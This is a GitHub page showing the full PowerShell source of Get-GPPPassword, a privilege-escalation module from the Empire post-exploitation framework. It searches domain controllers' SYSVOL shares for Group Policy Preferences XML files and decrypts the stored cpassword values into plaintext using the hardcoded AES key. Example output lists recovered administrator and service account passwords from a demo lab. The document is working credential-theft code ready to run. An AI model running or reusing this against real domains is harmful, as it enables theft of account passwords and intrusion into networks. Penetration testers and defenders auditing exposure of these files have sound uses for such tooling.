This repository has been archived by the owner on Jan 29, 2020. It is now read-only.
Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Empire/data/module_source/privesc/Get-GPPPassword.ps1
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
232 lines (182 sloc)
10.6 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Get-GPPPassword | |
{ | |
<# | |
.SYNOPSIS | |
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. | |
PowerSploit Function: Get-GPPPassword | |
Author: Chris Campbell (@obscuresec) | |
Mods by: @harmj0y | |
License: BSD 3-Clause | |
Required Dependencies: None | |
Optional Dependencies: None | |
Version: 2.4.3 | |
.DESCRIPTION | |
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. | |
.EXAMPLE | |
PS C:\> Get-GPPPassword | |
NewName : [BLANK] | |
Changed : {2014-02-21 05:28:53} | |
Passwords : {password12} | |
UserNames : {test1} | |
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml | |
NewName : {mspresenters} | |
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} | |
Passwords : {Recycling*3ftw!, password123, password1234} | |
UserNames : {Administrator (built-in), DummyAccount, dummy2} | |
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml | |
NewName : [BLANK] | |
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52} | |
Passwords : {password, password1234$} | |
UserNames : {administrator, admin} | |
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml | |
NewName : [BLANK] | |
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36} | |
Passwords : {password, read123} | |
UserNames : {DEMO\Administrator, admin} | |
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml | |
.EXAMPLE | |
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq | |
password | |
password12 | |
password123 | |
password1234 | |
password1234$ | |
read123 | |
Recycling*3ftw! | |
.LINK | |
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html | |
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 | |
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences | |
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html | |
#> | |
[CmdletBinding()] | |
Param () | |
#Some XML issues between versions | |
Set-StrictMode -Version 2 | |
#define helper function that decodes and decrypts password | |
function Get-DecryptedCpassword { | |
[CmdletBinding()] | |
Param ( | |
[string] $Cpassword | |
) | |
try { | |
#Append appropriate padding based on string length | |
$Mod = ($Cpassword.length % 4) | |
switch ($Mod) { | |
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} | |
'2' {$Cpassword += ('=' * (4 - $Mod))} | |
'3' {$Cpassword += ('=' * (4 - $Mod))} | |
} | |
$Base64Decoded = [Convert]::FromBase64String($Cpassword) | |
#Create a new AES .NET Crypto Object | |
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider | |
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, | |
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) | |
#Set IV to all nulls to prevent dynamic generation of IV value | |
$AesIV = New-Object Byte[]($AesObject.IV.Length) | |
$AesObject.IV = $AesIV | |
$AesObject.Key = $AesKey | |
$DecryptorObject = $AesObject.CreateDecryptor() | |
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) | |
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) | |
} | |
catch {Write-Error $Error[0]} | |
} | |
#define helper function to parse fields from xml files | |
function Get-GPPInnerFields { | |
[CmdletBinding()] | |
Param ( | |
$File | |
) | |
try { | |
$Filename = Split-Path $File -Leaf | |
[xml] $Xml = Get-Content ($File) | |
#declare empty arrays | |
$Cpassword = @() | |
$UserName = @() | |
$NewName = @() | |
$Changed = @() | |
$Password = @() | |
#check for password field | |
if ($Xml.innerxml -like "*cpassword*"){ | |
Write-Verbose "Potential password in $File" | |
switch ($Filename) { | |
'Groups.xml' { | |
$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
} | |
'Services.xml' { | |
$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
} | |
'Scheduledtasks.xml' { | |
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
} | |
'DataSources.xml' { | |
$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
} | |
'Printers.xml' { | |
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
} | |
'Drives.xml' { | |
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} | |
} | |
} | |
} | |
foreach ($Pass in $Cpassword) { | |
Write-Verbose "Decrypting $Pass" | |
$DecryptedPassword = Get-DecryptedCpassword $Pass | |
Write-Verbose "Decrypted a password of $DecryptedPassword" | |
#append any new passwords to array | |
$Password += , $DecryptedPassword | |
} | |
#put [BLANK] in variables | |
if (!($Password)) {$Password = '[BLANK]'} | |
if (!($UserName)) {$UserName = '[BLANK]'} | |
if (!($Changed)) {$Changed = '[BLANK]'} | |
if (!($NewName)) {$NewName = '[BLANK]'} | |
#Create custom object to output results | |
$ObjectProperties = @{'Passwords' = $Password; | |
'UserNames' = $UserName; | |
'Changed' = $Changed; | |
'NewName' = $NewName; | |
'File' = $File} | |
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties | |
Write-Verbose "The password is between {} and may be more than one value." | |
if ($ResultsObject) {Return $ResultsObject} | |
} | |
catch {Write-Error $Error[0]} | |
} | |
try { | |
#ensure that machine is domain joined and script is running as a domain account | |
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { | |
throw 'Machine is not a domain member or User is not a member of the domain.' | |
} | |
$DomainControllers = ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).DomainControllers | ForEach-Object {$_.Name} | |
Write-Verbose "Domain controllers for current domain: $DomainControllers" | |
$XMlFiles = @() | |
foreach ($DomainController in $DomainControllers) { | |
Write-Verbose "Searching $DomainController" | |
#discover potential files containing passwords ; not complaining in case of denied access to a directory | |
$XMlFiles += Get-ChildItem -Path "\\$DomainController\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' | |
} | |
if ( -not $XMlFiles ) {throw 'No preference files found.'} | |
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." | |
foreach ($File in $XMLFiles) { | |
$Result = (Get-GppInnerFields $File.Fullname) | |
Write-Output $Result | |
} | |
} | |
catch {Write-Error $Error[0]} | |
} |